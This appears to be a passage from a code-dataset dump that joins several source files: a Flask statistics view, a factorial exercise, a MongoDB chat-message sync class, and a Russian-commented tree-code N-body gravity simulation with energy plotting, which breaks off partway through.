country_mean.get(key)\n )\n map_tooltip[key] = tooltip\n country_count[key] = math.log(country_count[key] + 1)\n batch_rename(country_count, country_codes)\n batch_rename(country_mean, country_codes)\n batch_rename(map_tooltip, country_codes)\n response = {\n 'name': names,\n 'dir_sex': dir_sex,\n 'user_rates': user_rates,\n 'global_rates': global_rates,\n 'votes': votes,\n 'votes_log': votes_log,\n 'global_coeff': global_coeff,\n 'votes_coeff': votes_coeff,\n 'votes_log_coeff': votes_log_coeff,\n 'country_count': country_count,\n 'country_mean': country_mean,\n 'map_tooltip': map_tooltip\n }\n return jsonify(response)\n","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":10921,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"528892172","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCalcula o valor de fatorial de x, dado o valor de x.\n\n@author: Prof. Diogo SM\n\"\"\"\nx = int(input(\"x: \"))\nf = 1\n\nfor i in range(1, x + 1):\n f = f * i\nprint(f)\n","sub_path":"aula10-repeticao-iii/fatorial.py","file_name":"fatorial.py","file_ext":"py","file_size_in_byte":211,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"505837003","text":"# -*- coding: utf-8 -*-\n\"\"\"\nModule Description:\nDate:\nAuthor: Haoyuan Liu\n\"\"\"\nfrom msg_syn import MsgSyn\nimport util\nfrom datetime import datetime\nfrom send_log import net_logger\nfrom pymongo import errors\n\n\nclass MsgSynImpl(MsgSyn):\n\n def __init__(self, channel, game_id=None):\n super(MsgSynImpl, self).__init__(channel, game_id)\n\n def add_msg(self, msg):\n \"\"\"\n 增加一条新消息\n @param msg:\n @return: bool\n \"\"\"\n record = dict()\n record['time'] = datetime.now()\n record['msg'] = msg\n\n time_str = util.time_to_str(record['time'])\n try:\n obj = self.channel.insert_one(record)\n res = {\"time\": time_str, \"id\": str(obj.inserted_id)}\n self.limit_content()\n return res\n except:\n net_logger(\"Mongodb server stop service\", net=True, terminal=True)\n return False\n\n def pull_msgs(self, time=None):\n \"\"\"\n 获取时间点以上的消息，默认获取最新的page_size数量的消息\n @param time:字符串形式时间，默认None\n @return:list: [{\"time\": time1, \"msg\": msg1}, {\"time\": time2, \"msg\": msg2},...]\n\n \"\"\"\n if time is None:\n time = datetime.now()\n else:\n time = util.str_to_time(time)\n collection = self.channel\n records = collection.find({'time': {'$lt': time}}).limit(self._limit).sort('time', -1)\n msgs = self.format_msgs(records)\n\n return msgs\n\n def get_new_msg(self):\n \"\"\"\n 获取最新的一条消息\n @return: {\"time\": time, \"msg\": msg}\n \"\"\"\n collection = self.channel\n records = collection.find().limit(1).sort('time', -1)\n msgs = self.format_msgs(records)\n\n return msgs\n\n @staticmethod\n def format_msgs(msgs):\n result = []\n for r in list(msgs):\n r['time'] = util.time_to_str(r['time'])\n r[\"_id\"] = str(r[\"_id\"])\n result.append(r)\n return result\n","sub_path":"chaos_chat/syn_db/msg_syn_impl.py","file_name":"msg_syn_impl.py","file_ext":"py","file_size_in_byte":2037,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"592306603","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nРедактор Spyder\r\n\r\n@author: Дмитрий Мелкозеров\r\n\"\"\"\r\n\r\n# v Подключаемые пакеты v\r\n# ===========================================================================\r\nimport os\r\nimport importlib\r\nimport math as m\r\nimport time\r\nimport random as r\r\nimport numpy as np\r\nimport treecode.tree_code as tc\r\n# import threading\r\nfrom joblib import Parallel, delayed\r\n# import statistics as stat\r\n# import matplotlib as mpl\r\nimport matplotlib.pyplot as plt\r\nfrom mpl_toolkits.mplot3d import Axes3D\r\n# from matplotlib import animation\r\n# ===========================================================================\r\n# ^ Подключаемые пакеты ^\r\n# v Используемые функции v\r\n# ===========================================================================\r\n\r\n\r\ndef parameters_test(h, p, l):\r\n # Подфункция, позволяющая сгенерировать определенные\r\n # параметры для тела\r\n x = Distance * (indent_i + h * period) / i_test\r\n y = Distance * (indent_j + p * period) / j_test\r\n z = Distance * (indent_k + l * period) / k_test\r\n # Распределение скоростей и масс считаем нормальным\r\n Vx = r.normalvariate(0, 4) * v_avg\r\n Vy = r.normalvariate(0, 4) * v_avg\r\n Vz = r.normalvariate(0, 4) * v_avg\r\n mass = abs(m_avg)\r\n Sum = np.array([x, y, z, Vx, Vy, Vz, mass, 0, 0, 0, 0, 0, 0, 0])\r\n return Sum\r\n\r\n\r\ndef randomize_parameters():\r\n # Подфункция, позволяющая сгенерировать случайные параметры для тела\r\n x = r.random() * n * Distance\r\n y = r.random() * n * Distance\r\n z = r.random() * n * Distance\r\n# Распределение скоростей и масс считаем нормальным\r\n# (пока что квадратичное отклонение выбрано наугад)\r\n Vx = r.normalvariate(0, 4) * v_avg\r\n Vy = r.normalvariate(0, 4) * v_avg\r\n Vz = r.normalvariate(0, 4) * v_avg\r\n mass = abs(r.normalvariate(m_avg, 0.5*m_avg))\r\n Sum = np.array([x, y, z, Vx, Vy, Vz, mass, 0, 0, 0, 0, 0, 0, 0])\r\n return Sum\r\n\r\n\r\ndef randomize_ellipsoid():\r\n # Подфункция, позволяющая сгенерировать случайные параметры для тела\r\n x_r = 0\r\n y_r = 0\r\n z_r = 0\r\n particle_not_generated = True\r\n while particle_not_generated:\r\n x_r = r.random()\r\n y_r = r.random()\r\n z_r = r.random()\r\n x_el = (2 * x_r - 1) / a_inp\r\n y_el = (2 * y_r - 1) / b_inp\r\n z_el = (2 * z_r - 1) / c_inp\r\n ellipsoid = x_el * x_el + y_el * y_el + z_el * z_el\r\n if ellipsoid <= 1:\r\n particle_not_generated = False\r\n center = n * Distance / 2\r\n x = (x_r + 0.5) * center\r\n y = (y_r + 0.5) * center\r\n z = (z_r + 0.5) * center\r\n d_x = x - center\r\n d_y = y - center\r\n d_z = z - center\r\n# Распределение скоростей и масс считаем нормальным\r\n# (пока что квадратичное отклонение выбрано наугад)\r\n Vx = r.normalvariate(0, 3) * v_avg + w_y * d_z - w_z * d_y\r\n Vy = r.normalvariate(0, 3) * v_avg + w_z * d_x - w_x * d_z\r\n Vz = r.normalvariate(0, 3) * v_avg + w_x * d_y - w_y * d_x\r\n mass = abs(r.normalvariate(m_avg, 0.5*m_avg))\r\n Sum = np.array([x, y, z, Vx, Vy, Vz, mass, 0, 0, 0, 0, 0, 0, 0])\r\n return Sum\r\n\r\n\r\ndef birth_test():\r\n # Функция, создающая i*j*k тел\r\n # Сначала создаем массив нулей, а затем заполняем его;\r\n # тела находятся по первому индексу, параметры - по второму\r\n test_particles = np.zeros((i_test * j_test * k_test, 14))\r\n Num = 0\r\n for l in range(k_test):\r\n for p in range(j_test):\r\n for h in range(i_test):\r\n test_particles[Num] = parameters_test(h, p, l)\r\n Num += 1\r\n return test_particles\r\n\r\n\r\ndef birth_random(body_count):\r\n # Функция, создающая \"body_count\" тел\r\n # Сначала создаем массив нулей, а затем заполняем его;\r\n # тела находятся по первому индексу, параметры - по второму\r\n random_particles = np.zeros((body_count, 14))\r\n for l in range(body_count):\r\n random_particles[l] = randomize_parameters()\r\n return random_particles\r\n\r\n\r\ndef birth_ellipsoid(body_count):\r\n # Функция, создающая \"body_count\" тел\r\n # Сначала создаем массив нулей, а затем заполняем его;\r\n # тела находятся по первому индексу, параметры - по второму\r\n random_particles = np.zeros([body_count, 14])\r\n for l in range(body_count):\r\n random_particles[l] = randomize_ellipsoid()\r\n return random_particles\r\n\r\n\r\ndef distribution(X0, X_size):\r\n # Распределение X_size частиц по ячейкам со стороной Distance\r\n # с последующей сортировкой по номерам ячеек (3.04.18)\r\n for N_local in range(X_size):\r\n n_x = int(m.floor(X0[N_local, 0] / Distance))\r\n n_y = int(m.floor(X0[N_local, 1] / Distance))\r\n n_z = int(m.floor(X0[N_local, 2] / Distance))\r\n if (n_x > n) or (n_y > n) or (n_z > n) or \\\r\n (n_x < 0) or (n_y < 0) or (n_z < 0):\r\n X0[N_local, 11] = -1\r\n else:\r\n X0[N_local, 11] = n_x * n * n + n_y * n + n_z\r\n return X0[X0[:, 11].argsort(kind='mergesort')]\r\n\r\n\r\ndef particles_to_cell(Y, Y_size, order_n, n_max):\r\n # Функция, определяющая параметры самых малых ячеек из параметров\r\n # находящихся внутри частиц (13.04.18)\r\n R_local = np.zeros([n_max, 23])\r\n part_num = 0\r\n part_count = 0\r\n L_2 = 3 * Distance * Distance\r\n while Y[part_num, 11] < 0:\r\n part_num += 1\r\n if part_num == (np.size(Y, 0)):\r\n break\r\n for cell_num in range(n_max):\r\n R = np.zeros([12])\r\n if not part_num == Y_size:\r\n while Y[part_num, 11] == cell_num:\r\n R[0:3] += Y[part_num, 0:3] * Y[part_num, 6]\r\n R[3] += Y[part_num, 6]\r\n part_num += 1\r\n if part_num == Y_size:\r\n break\r\n R[4] = part_count\r\n R[5] = part_num\r\n part_count = part_num\r\n d_xy = 0\r\n d_xz = 0\r\n d_yz = 0\r\n if not R[3] == 0:\r\n # Расчет положения центра масс ячейки\r\n R[0:3] = R[0:3] / R[3]\r\n # Расчет положения геометрического центра ячейки\r\n cell_x = cell_num // (n * n)\r\n R[6] = Distance * (0.5 + cell_x)\r\n R[7] = Distance * (0.5 + ((cell_num // n) - cell_x * n))\r\n R[8] = Distance * (0.5 + (cell_num % n))\r\n # Расчет квадрупольного момента для выбранной ячейки\r\n for s in range(int(R[4]), int(R[5])):\r\n R[9] += Y[s, 6] * (Y[s, 0] - R[0]) * (Y[s, 1] - R[1])\r\n R[10] += Y[s, 6] * (Y[s, 0] - R[0]) * (Y[s, 2] - R[2])\r\n R[11] += Y[s, 6] * (Y[s, 1] - R[1]) * (Y[s, 2] - R[2])\r\n d_xy += Y[s, 6] * Y[s, 0] * Y[s, 1]\r\n d_xz += Y[s, 6] * Y[s, 0] * Y[s, 2]\r\n d_yz += Y[s, 6] * Y[s, 1] * Y[s, 2]\r\n R[9:12] *= 3\r\n # Итоговый вид строки с параметрами ячейки\r\n R_local[cell_num] = [R[0], R[1], R[2], R[6], R[7], R[8],\r\n R[3], R[9], R[10], R[11], L_2, order_n,\r\n R[4], R[5], 0, 0, 0, 0, 0, 0,\r\n d_xy, d_xz, d_yz]\r\n return R_local\r\n\r\n\r\ndef cells_to_cell(R_final, order_n, n_max):\r\n # Функция, вычисляющая параметры ячеек за счет\r\n # находящихся внутри ячеек с меньшим порядком (13.04.18)\r\n cell_length = Distance * (n / order_n)\r\n n_linear = order_n * 2\r\n n_total = int(m.pow(order_n, 3))\r\n R_local = np.zeros([n_total, 23])\r\n L_2 = 3 * Distance * Distance * n * n / (order_n * order_n)\r\n for cell_num in range(n_total):\r\n R = np.zeros([10])\r\n cell_x = cell_num // (order_n * order_n)\r\n cell_y = (cell_num // order_n) - cell_x * order_n\r\n cell_z = cell_num % order_n\r\n cell_num_0 = 2 * int(cell_x * n_linear * n_linear\r\n + cell_y * n_linear + cell_z)\r\n Numbers = [cell_num_0, cell_num_0 + 1,\r\n cell_num_0 + int(n_linear),\r\n cell_num_0 + int(n_linear) + 1,\r\n cell_num_0 + int(n_linear * n_linear),\r\n cell_num_0 + int(n_linear * n_linear) + 1,\r\n cell_num_0 + int(n_linear * n_linear + n_linear),\r\n cell_num_0 + int(n_linear * n_linear + n_linear) + 1]\r\n d_xy = 0\r\n d_xz = 0\r\n d_yz = 0\r\n# D_xy = 0\r\n# D_xz = 0\r\n# D_yz = 0\r\n for u in range(8):\r\n # Определяем параметры центра масс\r\n R[0:3] += R_final[Numbers[u], 0:3] \\\r\n * R_final[Numbers[u], 6]\r\n R[3] += R_final[Numbers[u], 6]\r\n # Определяем доп. параметры, связанные с квадрупольным вкладом\r\n# D_xy += R_final[Numbers[u], 6] \\\r\n# * R_final[Numbers[u], 0] * R_final[Numbers[u], 1]\r\n# D_xz += R_final[Numbers[u], 6] \\\r\n# * R_final[Numbers[u], 0] * R_final[Numbers[u], 2]\r\n# D_yz += R_final[Numbers[u], 6] \\\r\n# * R_final[Numbers[u], 1] * R_final[Numbers[u], 2]\r\n# d_xy += R_final[Numbers[u], 20]\r\n# d_xz += R_final[Numbers[u], 21]\r\n# d_yz += R_final[Numbers[u], 22]\r\n if not R[3] == 0:\r\n # Расчет положения ЦМ и геометрического центра ячейки\r\n R[0:3] = R[0:3] / R[3]\r\n R[4] = cell_length * (0.5 + cell_x)\r\n R[5] = cell_length * (0.5 + cell_y)\r\n R[6] = cell_length * (0.5 + cell_z)\r\n # Расчет квадрупольного момента для выбранной ячейки\r\n# for s in range(8):\r\n# if not R_final[Numbers[s], 6] == 0:\r\n# R[7] += R_final[Numbers[s], 6] \\\r\n# * (R_final[Numbers[s], 0] - R[0]) \\\r\n# * (R_final[Numbers[s], 1] - R[1])\r\n# R[8] += R_final[Numbers[s], 6] \\\r\n# * (R_final[Numbers[s], 0] - R[0]) \\\r\n# * (R_final[Numbers[s], 2] - R[2])\r\n# R[9] += R_final[Numbers[s], 6] \\\r\n# * (R_final[Numbers[s], 1] - R[1]) \\\r\n# * (R_final[Numbers[s], 2] - R[2])\r\n# if (R[7] == 0) and (R[8] == 0) and (R[9] == 0):\r\n# R[7] = R_final[Numbers[:], 7].sum()\r\n# R[8] = R_final[Numbers[:], 8].sum()\r\n# R[9] = R_final[Numbers[:], 9].sum()\r\n# else:\r\n# R[7] += d_xy - D_xy\r\n# R[8] += d_xz - D_xz\r\n# R[9] += d_yz - D_yz\r\n# R[7:10] *= 3\r\n# Итоговый вид строки с параметрами ячейки\r\n R_local[cell_num] = [R[0], R[1], R[2], R[4], R[5], R[6], R[3],\r\n R[7], R[8], R[9], L_2, order_n,\r\n Numbers[0], Numbers[1], Numbers[2], Numbers[3],\r\n Numbers[4], Numbers[5], Numbers[6], Numbers[7],\r\n d_xy, d_xz, d_yz]\r\n# Корректируем номера \"дочерних\" ячеек\r\n R_local[:, 12:20] += n_total\r\n R_final[0:(-n_max), 12:20] += n_total\r\n return np.vstack((R_local, R_final))\r\n\r\n\r\ndef tree_root(Particles, Mass_center):\r\n # Функция, с которой начинается tree code\r\n if use_multiprocessing:\r\n A0 = Parallel(n_jobs=workers, verbose=0)(\r\n delayed(tc.begin_tree)(Particles, Mass_center, i,\r\n n, eps_smooth)\r\n for i in range(1, 9))\r\n A = A0[0] + A0[1] + A0[2] + A0[3] + A0[4] + A0[5] + A0[6] + A0[7]\r\n else:\r\n A = np.zeros([np.size(Particles, 0), 4])\r\n if not Mass_center[1, 6] == 0:\r\n A += tc.begin_tree(Particles, Mass_center, 1, n, eps_smooth)\r\n if not Mass_center[2, 6] == 0:\r\n A += tc.begin_tree(Particles, Mass_center, 2, n, eps_smooth)\r\n if not Mass_center[3, 6] == 0:\r\n A += tc.begin_tree(Particles, Mass_center, 3, n, eps_smooth)\r\n if not Mass_center[4, 6] == 0:\r\n A += tc.begin_tree(Particles, Mass_center, 4, n, eps_smooth)\r\n if not Mass_center[5, 6] == 0:\r\n A += tc.begin_tree(Particles, Mass_center, 5, n, eps_smooth)\r\n if not Mass_center[6, 6] == 0:\r\n A += tc.begin_tree(Particles, Mass_center, 6, n, eps_smooth)\r\n if not Mass_center[7, 6] == 0:\r\n A += tc.begin_tree(Particles, Mass_center, 7, n, eps_smooth)\r\n if not Mass_center[8, 6] == 0:\r\n A += tc.begin_tree(Particles, Mass_center, 8, n, eps_smooth)\r\n return A\r\n\r\n\r\ndef tree_code_gravity(Y):\r\n # Функция, позволяющая получить новые параметры частиц\r\n # из матрицы Y с помощью метода Tree code (13.04.18)\r\n order_n = n\r\n Y_size = np.size(Y, 0)\r\n Y[:, 3:6] += Y[:, 7:10] * time_step / 2\r\n Y[:, 0:3] += Y[:, 3:6] * time_step\r\n Y = distribution(Y, Y_size)\r\n n_max = int(n * n * n)\r\n R_final = particles_to_cell(Y, Y_size, order_n, n_max)\r\n while order_n > 1:\r\n order_n *= 0.5\r\n R_final = cells_to_cell(R_final, order_n, n_max)\r\n Y[:, 7:11] = tree_root(Y, R_final)\r\n if Y[0, 11] < 0:\r\n Y = tc.N_body_direct(Y, eps_smooth)\r\n Y[:, 7:11] *= G\r\n Y[:, 3:6] += Y[:, 7:10] * time_step / 2\r\n return Y\r\n\r\n\r\ndef momentum_of_system(Y):\r\n # Функция, определяющая импульс всей системы и выводящая его в строку\r\n P = np.zeros([np.size(Y, 0), 3])\r\n P[:, 0] = np.multiply(Y[:, 3], Y[:, 6])\r\n P[:, 1] = np.multiply(Y[:, 4], Y[:, 6])\r\n P[:, 2] = np.multiply(Y[:, 5], Y[:, 6])\r\n print('Полный импульс системы ', P.sum(axis=0))\r\n\r\n\r\ndef momentum_of_particles(Y):\r\n # Функция, определяющая импульс всех материальных точек\r\n P = np.zeros([np.size(Y, 0), 3])\r\n P[:, 0] = np.multiply(Y[:, 3], Y[:, 6])\r\n P[:, 1] = np.multiply(Y[:, 4], Y[:, 6])\r\n P[:, 2] = np.multiply(Y[:, 5], Y[:, 6])\r\n if np.size(Y, 0) > 10:\r\n print('Импульсы всех материальных точек сохранены в файл')\r\n np.savetxt('Импульсы материальных точек.txt', P)\r\n else:\r\n print(P)\r\n\r\n\r\ndef kinetic_energy_Newton(Y):\r\n # Функция, определяющая кинетическую энергию каждой частицы\r\n V = np.multiply(Y[:, 3:6], Y[:, 3:6])\r\n E = V.sum(axis=1)\r\n E = np.multiply(E[:], Y[:, 6])\r\n E /= 2\r\n return E\r\n\r\n\r\ndef max_dT(Y):\r\n # Функция, определяющая максимальную разницу\r\n # кинетической энергии частиц за шаг\r\n E = kinetic_energy_Newton(Y)\r\n E = E - Y[:, 12]\r\n dE_plus = np.amax(E)\r\n dE_minus = np.amin(E)\r\n if abs(dE_minus) > dE_plus:\r\n dE = dE_minus\r\n else:\r\n dE = dE_plus\r\n return dE\r\n\r\n\r\ndef max_dU(Y):\r\n # Функция, определяющая максимальную разницу\r\n # потенциальной энергии частиц за шаг\r\n E = potential_energy_Newton(Y)\r\n E = E - Y[:, 13]\r\n dE_plus = np.amax(E)\r\n dE_minus = np.amin(E)\r\n if abs(dE_minus) > dE_plus:\r\n dE = dE_minus\r\n else:\r\n dE = dE_plus\r\n return dE\r\n\r\n\r\ndef plot_max_dE_kinetic(dE):\r\n # Функция, создающая график максимальной разницы\r\n # кинетической энергии частиц за все время работы программы\r\n fig = plt.figure()\r\n ax = fig.add_subplot(111)\r\n ax.plot(dE[1:, 0], dE[1:, 4])\r\n ax.set_xlabel('Номер шага')\r\n ax.set_ylabel('Kinetic energy')\r\n ax.set_title('Max kinetic energy difference per step')\r\n plt.savefig('Максимальное изменение кинетической энергии за шаг', dpi=640)\r\n plt.show()\r\n\r\n\r\ndef plot_max_dE_potential(dE):\r\n # Функция, создающая график максимальной разницы\r\n # потенциальной энергии частиц за все время работы программы\r\n fig = plt.figure()\r\n ax = fig.add_subplot(111)\r\n ax.plot(dE[1:, 0], dE[1:, 5])\r\n ax.set_xlabel('Номер шага')\r\n ax.set_ylabel('Potential energy')\r\n ax.set_title('Max potential energy difference per step')\r\n plt.savefig('Максимальное изменение потенциальной энергии за шаг', dpi=640)\r\n plt.show()\r\n\r\n\r\ndef potential_energy_Newton(Y):\r\n # Функция, определяющая кинетическую энергию каждой частицы\r\n E = np.multiply(Y[:, 10], Y[:, 6])\r\n return E\r\n\r\n\r\ndef system_kinetic_energy(Y):\r\n # Функция, определяющая полную энергию системы\r\n E = kinetic_energy_Newton(Y)\r\n E = E.sum(axis=0)\r\n return E\r\n\r\n\r\ndef system_potential_energy(Y):\r\n E = potential_energy_Newton(Y)\r\n E = E.sum(axis=0)\r\n return E\r\n\r\n\r\ndef system_energy_Newton(Y):\r\n # Функция, определяющая полную энергию системы\r\n E = system_kinetic_energy(Y)\r\n E = E + system_potential_energy(Y)\r\n return E\r\n\r\n\r\ndef plot_avg(E):\r\n # Функция, создающая график кинетической энергии частиц\r\n # за все время работы программы\r\n Energy = np.copy(E[:, 1:3])\r\n Energy /= N\r\n fig = plt.figure()\r\n ax = fig.add_subplot(211)\r\n ax1 = fig.add_subplot(212)\r\n ax.plot(E[:, 0], Energy[:, 0])\r\n ax1.plot(E[:, 0], Energy[:, 1])\r\n ax.xaxis.set_ticklabels([])\r\n ax1.set_xlabel('Номер шага')\r\n ax.set_ylabel('Kinetic enegry')\r\n ax1.set_ylabel('Potential energy')\r\n ax.set_title('Average energy')\r\n ax1.set_title(' ')\r\n plt.savefig('Средняя энергия материальной точки', dpi=640)\r\n plt.show()\r\n\r\n\r\ndef plot_system_enegry(E):\r\n # Функция, создающая график потенциальной энергии частиц\r\n # за все время работы программы\r\n fig = plt.figure()\r\n ax = fig.add_subplot(211)\r\n ax1 = fig.add_subplot(212)\r\n ax.plot(E[:, 0], E[:, 1])\r\n ax1.plot(E[:, 0], Energy[:, 2])\r\n ax.xaxis.set_ticklabels([])\r\n ax1.set_xlabel('Номер шага')\r\n ax.set_ylabel('Kinetic enegry')\r\n ax1.set_ylabel('Potential energy')\r\n ax.set_title('Energy at step')\r\n plt.savefig('Кинетическая и потенциальная энергия системы', dpi=640)\r\n plt.show()\r\n\r\n\r\ndef plot_total_energy(E):\r\n # Функция, создающая график потенциальной энергии частиц\r\n # за все время работы программы\r\n fig = plt.figure()\r\n ax = fig.add_subplot(111)\r\n ax.plot(E[:, 0], E[:, 3])\r\n ax.set_xlabel('Номер шага')\r\n ax.set_ylabel('Энергия')\r\n ax.set_title('Полная энергия системы')\r\n plt.savefig('Полная энергия системы', dpi=640)\r\n plt.show()\r\n\r\n\r\ndef plot_combined_energy(E):\r\n # Функция, создающая график потенциальной энергии частиц\r\n # за все время работы программы\r\n fig = plt.figure()\r\n ax = fig.add_subplot(111)\r\n ax.plot(E[:, 0], E[:, 3], label='Полная энергия', color='black')\r\n ax.plot(E[:, 0], E[:, 1], label='Кинетическая энергия', color='red')\r\n ax.plot(E[:, 0], E[:, 2], label='Потенциальная энергия', color='blue')\r\n ax.set_xlabel('Номер шага')\r\n ax.set_ylabel('Энергия')\r\n ax.set_title('Полная энергия системы')\r\n plt.legend()\r\n plt.savefig('Кинетическая, потенциальная, полная энергия системы', dpi=640)\r\n plt.show()\r\n\r\n\r\ndef is_gravity_field_weak(Y):\r\n # Функция, выдающая ошибку, если гравитационное поле становится\r\n # слишком сильным для применения используемой модели\r\n global error\r\n global error_name\r\n Array_phi = abs(Y[:, 10] / c_2)\r\n Array_phi = Array_phi >= 0.05\r\n if Array_phi.any():\r\n error = True\r\n error_name = 'Strong gravity field error'\r\n\r\n\r\ndef speed_limit(Y):\r\n # Функция, выдающая ошибку если скорость материальной\r\n # точки станет больше скорости света\r\n global error\r\n global error_name\r\n V = np.zeros([np.size(Y, 0), 3])\r\n V = np.multiply(Y[:, 3:6], Y[:, 3:6])\r\n V_2 = V.sum(axis=1) >= c_2\r\n if V_2.any():\r\n error = True\r\n error_name = 'FTL error'\r\n\r\n\r\ndef screenshot(System_parameters, name, point_size):\r\n # Функция для \"скирншота\" положения всех частиц\r\n fig = plt.figure()\r\n ax = fig.add_subplot(111, projection='3d')\r\n x = System_parameters[:, 0]\r\n y = System_parameters[:, 1]\r\n z = System_parameters[:, 2]\r\n ax.scatter(x, y, z, color='red', s=point_size)\r\n ax.autoscale(False)\r\n ax.set_xlabel('x, кпк')\r\n ax.set_ylabel('y, кпк')\r\n ax.set_zlabel('z, кпк')\r\n plt.savefig(name, dpi=1280)\r\n# plt.show()\r\n\r\n\r\ndef input_int_value(msg_0, msg_1, msg_2):\r\n print(msg_0)\r\n continue_input = True\r\n while continue_input:\r\n try:\r\n variable = int(input())\r\n if variable > 0:\r\n continue_input = False\r\n except ValueError:\r\n print(msg_1)\r\n print(msg_2)\r\n return variable\r\n\r\n\r\ndef input_float_value(msg_0, msg_00, msg_000, msg_1, msg_2):\r\n print(msg_0)\r\n print(msg_00)\r\n print(msg_000)\r\n continue_input = True\r\n while continue_input:\r\n try:\r\n variable = float(input())\r\n if variable >= 0:\r\n continue_input = False\r\n else:\r\n print('Введено некорректное значение. Попробуйте еще раз')\r\n except ValueError:\r\n print(msg_1)\r\n print(msg_2)\r\n return variable\r\n\r\n\r\ndef input_float_less_1_value(msg_0, msg_00, msg_1, crit):\r\n print(msg_0)\r\n print(msg_00 + str(crit))\r\n continue_input = True\r\n while continue_input:\r\n try:\r\n variable = float(input())\r\n if (variable >= -1) and (variable <= 1):\r\n continue_input = False\r\n else:\r\n print('Введено некорректное значение. Попробуйте еще раз')\r\n except ValueError:\r\n print(msg_1)\r\n return variable\r\n\r\n# ===========================================================================\r\n# ^ Используемые функции ^\r\n\r\n\r\nif __name__ == \"__main__\":\r\n importlib.reload(tc)\r\n # v Константы v\r\n # =======================================================================\r\n # Гравитационная постоянная\r\n # G = 6.67408313 * m.pow(10, -11) # м^3/(кг*с^2)\r\n G = 4.51811511 * m.pow(10, -15) # кпк^3/(М_(Солнца)* (10^12 с)^2)\r\n # G = 4.51811511 * m.pow(10, -7) # кпк^3/(М_(Млечного пути)* (10^15 с)^2)\r\n# Скорость света\r\n # c = 299792458 # м/с\r\n c = 9.7156188999 # кпк/(10^12 с)\r\n# ===========================================================================\r\n# ^ Константы ^\r\n# v Параметры системы v\r\n# ===========================================================================\r\n# Прочие переменные (желательно не трогать)\r\n marker_size = 0.2 # 1\r\n c_2 = c * c\r\n error = False\r\n error_name = ''\r\n not_forbid_launch = True\r\n continue_input = True\r\n interrupted = False\r\n workers = os.cpu_count()\r\n msg_N_0 = 'Введите число материальных точек'\r\n msg_N_1 = 'Число материальных точек всегда должно быть целым'\r\n msg_N_2 = 'Введите число материальных точек еще раз'\r\n msg_n_0 = 'Введите количество ячеек в формате 2^n (нужно задать n)'\r\n msg_n_1 = 'Число ячеек всегда должно быть целым'\r\n msg_n_2 = 'Введите число ячеек еще раз'\r\n msg_steps_0 = 'Введите число временных шагов'\r\n msg_steps_1 = 'Введено недопустимое число шагов'\r\n msg_steps_2 = 'Введите число шагов еще раз'\r\n msg_m_0 = 'Введите среднюю массу материальных точкек в массах галактик'\r\n msg_m_00 = '(Масса галактики имеет порядок 10^41 кг)'\r\n msg_m_1 = 'Cредняя масса материальной точки должна быть числом'\r\n msg_m_2 = 'Введите среднюю массу еще раз'\r\n msg_v_0 = 'Введите среднюю скорость материальных точкек в кпк/(10^12 с)'\r\n msg_v_00 = '(1 кпк/(10^12 с) = 3,08567758*10^7 м/с)'\r\n msg_v_000 = 'ВАЖНО ПОМНИТЬ! c = 9.7156188999 кпк/(10^12 с)'\r\n msg_v_1 = 'Cредняя скорость материальной точки должна быть числом'\r\n msg_v_2 = 'Введите среднюю скорость материальных точек еще раз'\r\n msg_d_0 = 'Введите размер ячейки в кпк'\r\n msg_d_1 = 'Размер ячейки должен быть в виде числа'\r\n msg_d_2 = 'Введите размер ячейки еще раз'\r\n msg_t_0 = 'Введите временной шаг в единицах (10^12 с)'\r\n msg_t_1 = 'Временной шаг должен быть в виде числа'\r\n msg_t_2 = 'Введите временной шаг еще раз'\r\n msg_ind_0 = 'Введите отступ от границы рассматриваемой'\r\n msg_ind_i_0 = 'области по оси X в кпк'\r\n msg_ind_j_0 = 'области по оси Y в кпк'\r\n msg_ind_k_0 = 'области по оси Z в кпк'\r\n msg_ind_1 = 'Отступ должен быть в виде числа'\r\n msg_ind_2 = 'Введите отступ еще раз'\r\n msg_i_0 = 'Введите число материальных точек по оси X'\r\n msg_j_0 = 'Введите число материальных точек по оси Y'\r\n msg_k_0 = 'Введите число материальных точек по оси Z'\r\n msg_axis_1 = 'Число материальных точек всегда должно быть целым'\r\n msg_axis_2 = 'Введите число материальных точек еще раз'\r\n msg_per_0 = 'Введите расстояние между двумя соседними точками,'\r\n msg_per_00 = 'расположенных на одной оси в единицах длины ячейки'\r\n msg_per_1 = 'Расстояние должно быть в виде числа'\r\n msg_per_2 = 'Введите расстояние ячейки еще раз'\r\n msg_a_0 = 'Введите величину полуоси эллипсоида по оси X'\r\n msg_b_0 = 'Введите величину полуоси эллипсоида по оси Y'\r\n msg_c_0 = 'Введите величину полуоси эллипсоида по оси Z'\r\n msg_abc_0 = 'от 0 до 1. Где 1 соответствует четверти размера системы'\r\n msg_abc_1 = 'Длина полуоси должна быть числом'\r\n msg_w_0 = 'Введите начальную угловую скорость в размерности рад/(10^12 с)'\r\n msg_wx_0 = 'в плоскости YZ. Величина не должна превышать '\r\n msg_wy_0 = 'в плоскости XZ. Величина не должна превышать '\r\n msg_wz_0 = 'в плоскости XY. Величина не должна превышать '\r\n msg_w_1 = 'Угловая скорость должна быть числом'\r\n msg_eps_0 = 'Введите смягчающую длину потенциала в кпк'\r\n msg_eps_1 = 'Смягчающая длина должна быть числом'\r\n\r\n# Временной интервал\r\n # time_step = pow(10, 13) # с\r\n time_step = 100.0 # 0.000025 # 10^12 с\r\n # time_step = 0.01 # 10^15 с\r\n\r\n# Процентное распределение материи по типу\r\n d_e = 0.70 # Темная энергия\r\n d_m = 0.25 # Темная материя\r\n v_m = 0.05 # Видимая материя\r\n\r\n# Параметр \"сглаживания\" гравитационного взаимодействия на близких дистанциях\r\n eps_smooth = 5.0 # кпк\r\n\r\n# Параметры, которые нужны чаще всего (можно и нужно трогать)\r\n# Количество ячеек по одной оси координат (для tree codes) в виде 2^(n)\r\n n = 4\r\n\r\n# Минимальный размер ячейки по одной оси координат\r\n # Distance = 2 * 3.08567758 * pow(10, 22) # м\r\n Distance = 10 * m.pow(10, 3) # кпк\r\n # Distance = 5 # Мпк\r\n\r\n# Задаем первоначальный размер системы в единицах \"Distance\"\r\n# для функции parameters_test\r\n i_test = 10\r\n j_test = 10\r\n k_test = 10\r\n indent_i = 0.0\r\n indent_j = 0.0\r\n 